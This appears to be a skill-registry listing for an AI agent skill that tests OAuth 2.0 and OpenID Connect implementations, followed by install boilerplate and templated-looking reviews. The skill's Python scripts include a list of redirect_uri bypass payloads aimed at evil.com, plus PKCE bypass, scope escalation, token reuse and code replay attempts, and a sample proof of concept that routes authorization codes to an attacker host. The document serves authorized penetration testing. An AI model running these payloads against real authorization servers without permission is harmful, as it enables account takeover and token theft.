testing-oauth2-implementation-flaws▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Tests OAuth 2.0 and OpenID Connect implementations for security flaws including authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass. The tester evaluates the authorization server, client application, and token handling for common misconfigurations that enable account takeover or unauthorized access. Activates for requests involving OAuth security testing, OIDC vulnerability assessment, OAuth2 redirect bypass, or authorization code flow testing.
| name | testing-oauth2-implementation-flaws |
| description | 'Tests OAuth 2.0 and OpenID Connect implementations for security flaws including authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass. The tester evaluates the authorization server, client application, and token handling for common misconfigurations that enable account takeover or unauthorized access. Activates for requests involving OAuth security testing, OIDC vulnerability assessment, OAuth2 redirect bypass, or authorization code flow testing. ' |
| domain | cybersecurity |
| subdomain | api-security |
| tags | - api-security - oauth2 - oidc - authentication - redirect-uri - token-security |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Testing OAuth2 Implementation Flaws
When to Use
- Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
- Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
- Evaluating token storage, transmission, and lifecycle management in OAuth implementations
- Testing scope escalation where clients request more permissions than authorized
- Assessing OpenID Connect implementations for ID token validation and nonce usage
Do not use without written authorization. OAuth testing may result in token theft or unauthorized access.
Prerequisites
- Written authorization specifying the OAuth provider and client applications in scope
- Test OAuth client registered with the authorization server
- Burp Suite Professional for intercepting OAuth redirects and token flows
- Python 3.10+ with
requestsandoauthliblibraries - Browser developer tools for observing OAuth redirect chains
- Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)
Workflow
Step 1: OAuth Flow Reconnaissance
import requests
import urllib.parse
import re
import hashlib
import base64
import secrets
AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"
# Discover OAuth endpoints
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
config = well_known.json()
print("OAuth/OIDC Configuration:")
print(f" Authorization: {config.get('authorization_endpoint')}")
print(f" Token: {config.get('token_endpoint')}")
print(f" UserInfo: {config.get('userinfo_endpoint')}")
print(f" JWKS: {config.get('jwks_uri')}")
print(f" Supported grants: {config.get('grant_types_supported')}")
print(f" Supported scopes: {config.get('scopes_supported')}")
print(f" PKCE methods: {config.get('code_challenge_methods_supported')}")
auth_endpoint = config['authorization_endpoint']
token_endpoint = config['token_endpoint']
else:
# Try common paths
for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
if resp.status_code in (302, 400):
print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
auth_endpoint = f"{AUTH_SERVER}{path}"
break
Step 2: Redirect URI Validation Testing
# Test redirect_uri validation strictness
REDIRECT_BYPASS_PAYLOADS = [
# Open redirect variations
REDIRECT_URI, # Legitimate
"https://evil.com", # Different domain
"https://app.example.com.evil.com/callback", # Subdomain of attacker
"https://[email protected]/callback", # URL authority confusion
f"{REDIRECT_URI}/../../../evil.com", # Path traversal
f"{REDIRECT_URI}?next=https://evil.com", # Parameter injection
f"{REDIRECT_URI}#https://evil.com", # Fragment injection
f"{REDIRECT_URI}%23evil.com", # Encoded fragment
"https://app.example.com/callback/../../evil", # Relative path
"https://APP.EXAMPLE.COM/callback", # Case variation
"https://app.example.com/Callback", # Path case variation
"https://app.example.com/callback/", # Trailing slash
"https://app.example.com/callback?", # Trailing question mark
"http://app.example.com/callback", # HTTP downgrade
"https://app.example.com:443/callback", # Explicit port
"https://app.example.com:8443/callback", # Different port
f"{REDIRECT_URI}/.evil.com", # Dot segment
"https://app.example.com/callbackevil", # Path prefix match
"javascript://app.example.com/callback%0aalert(1)", # JavaScript protocol
]
print("=== Redirect URI Validation Testing ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": redirect,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "code=" in location or redirect in location:
status = "ACCEPTED"
if redirect != REDIRECT_URI:
print(f" [VULNERABLE] {redirect[:70]} -> Redirect accepted")
else:
status = "REDIRECTED"
elif resp.status_code == 400:
status = "REJECTED"
else:
status = f"HTTP {resp.status_code}"
if redirect == REDIRECT_URI:
print(f" [BASELINE] {redirect[:70]} -> {status}")
Step 3: State Parameter (CSRF) Testing
# Test 1: Missing state parameter
params_no_state = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[CSRF] Authorization code issued without state parameter")
# Test 2: State parameter reuse
state_value = "fixed_state_value_123"
# Use same state for multiple authorization requests
for i in range(3):
params = {**params_no_state, "state": state_value}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
returned_state = urllib.parse.parse_qs(
urllib.parse.urlparse(location).query).get("state", [None])[0]
if returned_state == state_value:
print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)")
# Test 3: Token exchange without state validation (client-side check)
# Intercept the callback and try exchanging the code without state
print("\nNote: State validation is a client-side check. Verify the callback handler validates state.")
Step 4: PKCE Bypass Testing
# Test if PKCE (Proof Key for Code Exchange) is enforced
# Generate PKCE values
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')
# Test 1: Authorization request without PKCE
params_no_pkce = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[PKCE] Authorization code issued without PKCE challenge")
# Test 2: Token exchange without code_verifier
auth_code = "captured_auth_code" # From intercept
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
# No code_verifier
})
if token_resp.status_code == 200:
print("[PKCE] Token issued without code_verifier - PKCE not enforced")
# Test 3: Token exchange with wrong code_verifier
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken")
# Test 4: Downgrade from S256 to plain
params_plain_pkce = {
**params_no_pkce,
"code_challenge": code_verifier, # Plain = verifier itself
"code_challenge_method": "plain",
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
if resp.status_code == 302:
print("[PKCE] Plain challenge method accepted - vulnerable to interception")
Step 5: Scope Escalation and Token Testing
# Test 1: Request additional scopes beyond what's registered
elevated_scopes = [
"openid profile email admin",
"openid profile email write:users",
"openid profile email delete:*",
"openid profile email admin:full",
"*",
]
for scope in elevated_scopes:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": scope,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "code=" in location:
print(f"[SCOPE] Elevated scope accepted: {scope}")
# Test 2: Token reuse across clients
# Use a token from client A on client B's API
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
print("[TOKEN] Token from client A accepted by different service (audience not validated)")
# Test 3: Refresh token theft and reuse
refresh_token = "captured_refresh_token"
# Try using refresh token with different client_id
token_resp = requests.post(token_endpoint, data={
"grant_type": "refresh_token",
"refresh_token": refresh_token,
"client_id": "different-client-id",
})
if token_resp.status_code == 200:
print("[TOKEN] Refresh token accepted for different client - not bound to client")
Step 6: Implicit Flow and Token Leakage Testing
# Test if implicit flow is enabled (should be disabled per OAuth 2.1)
implicit_params = {
"response_type": "token",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "access_token=" in location:
print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)")
# Test token leakage via Referer header
# Check if tokens appear in URLs that could leak via Referer
print("\nToken Leakage Checks:")
print(" - Check if access tokens appear in URL query parameters")
print(" - Check if tokens are logged in server access logs")
print(" - Check if callback URL with code is cached by the browser")
print(" - Check if the authorization code is single-use (replay test)")
# Authorization code replay test
auth_code_to_replay = "captured_auth_code"
for attempt in range(3):
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code_to_replay,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"client_secret": "client_secret_value",
})
print(f" Code replay attempt {attempt+1}: {token_resp.status_code}")
if attempt > 0 and token_resp.status_code == 200:
print(" [VULNERABLE] Authorization code is not single-use")
Key Concepts
| Term | Definition |
|---|---|
| Authorization Code Flow | OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint |
| PKCE | Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier/challenge, preventing authorization code interception |
| Redirect URI Validation | Authorization server verification that the redirect_uri matches the registered value exactly, preventing code/token theft via open redirect |
| State Parameter | Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow |
| Scope Escalation | Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access |
| Implicit Flow | Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks |
Tools & Systems
- Burp Suite Professional: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges
- EsPReSSO (Burp Extension): Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities
- oauth2-security-tester: Dedicated tool for testing OAuth 2.0 flows against common attack patterns
- OWASP ZAP: Passive scanner that detects OAuth misconfigurations in intercepted traffic
- jwt.io: Online JWT decoder for analyzing OAuth access tokens and ID tokens
Common Scenarios
Scenario: Social Login OAuth Implementation Assessment
Context: A web application implements "Login with Google" and "Login with GitHub" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.
Approach:
- Analyze the OAuth configuration at
/.well-known/openid-configurationfor both providers - Test redirect URI validation: discover that the application registers
https://app.example.com/callbackbut the server acceptshttps://app.example.com/callback/..%2fevil - Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)
- Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile
- Test implicit flow: still enabled despite not being used by the application
- Test scope: application requests
openid profile emailbut the authorization server also grantsread:reposwithout explicit consent - Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement
- Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)
Pitfalls:
- Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters
- Not testing both the authorization request and the token exchange independently
- Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri
- Not testing the state parameter validation on the client side (server may include it but client may not check it)
- Assuming PKCE is enforced because the authorization server supports it (client must also send it)
Output Format
## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft
**ID**: API-OAUTH-001
**Severity**: Critical (CVSS 9.3)
**Affected Component**: OAuth 2.0 Authorization Code Flow
**Authorization Server**: auth.example.com
**Description**:
The authorization server's redirect_uri validation uses prefix matching
instead of exact string matching. An attacker can manipulate the redirect_uri
to redirect the authorization code to an attacker-controlled endpoint,
enabling account takeover. Additionally, PKCE is not enforced and the
state parameter is not validated by the client application.
**Proof of Concept**:
1. Craft authorization URL with manipulated redirect_uri:
https://auth.example.com/authorize?response_type=code&client_id=app
&redirect_uri=https://app.example.com/callback/../../../evil.com
&scope=openid+profile+email&state=abc123
2. User authenticates and approves consent
3. Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123
4. Attacker exchanges code at token endpoint (no PKCE required)
5. Attacker receives access token and ID token for victim's account
**Impact**:
Complete account takeover for any user who clicks a crafted OAuth login link.
The attacker gains full access to the user's profile, email, and any
resources the OAuth scope grants access to.
**Remediation**:
1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)
2. Enforce PKCE (S256 method) for all authorization code flow requests
3. Validate the state parameter in the callback handler before exchanging the code
4. Disable the implicit flow on the authorization server
5. Enforce single-use authorization codes with a short TTL (max 60 seconds)
6. Validate the audience (aud) claim in tokens before accepting them
How to use testing-oauth2-implementation-flaws on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add testing-oauth2-implementation-flaws
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches testing-oauth2-implementation-flaws from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate testing-oauth2-implementation-flaws. Access the skill through slash commands (e.g., /testing-oauth2-implementation-flaws) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.7★★★★★25 reviews- ★★★★★Kabir Verma· Nov 3, 2024
testing-oauth2-implementation-flaws reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Kabir Srinivasan· Oct 22, 2024
Registry listing for testing-oauth2-implementation-flaws matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Sakshi Patil· Sep 13, 2024
testing-oauth2-implementation-flaws has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Aisha Martinez· Sep 13, 2024
Useful defaults in testing-oauth2-implementation-flaws — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Naina Sanchez· Sep 1, 2024
testing-oauth2-implementation-flaws has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Dev Haddad· Aug 20, 2024
Solid pick for teams standardizing on skills: testing-oauth2-implementation-flaws is focused, and the summary matches what you get after install.
- ★★★★★Chaitanya Patil· Aug 4, 2024
Solid pick for teams standardizing on skills: testing-oauth2-implementation-flaws is focused, and the summary matches what you get after install.
- ★★★★★Hassan Smith· Aug 4, 2024
I recommend testing-oauth2-implementation-flaws for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Piyush G· Jul 23, 2024
We added testing-oauth2-implementation-flaws from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Michael Rahman· Jul 23, 2024
Keeps context tight: testing-oauth2-implementation-flaws is the kind of skill you can hand to a new teammate without a long onboarding doc.
showing 1-10 of 25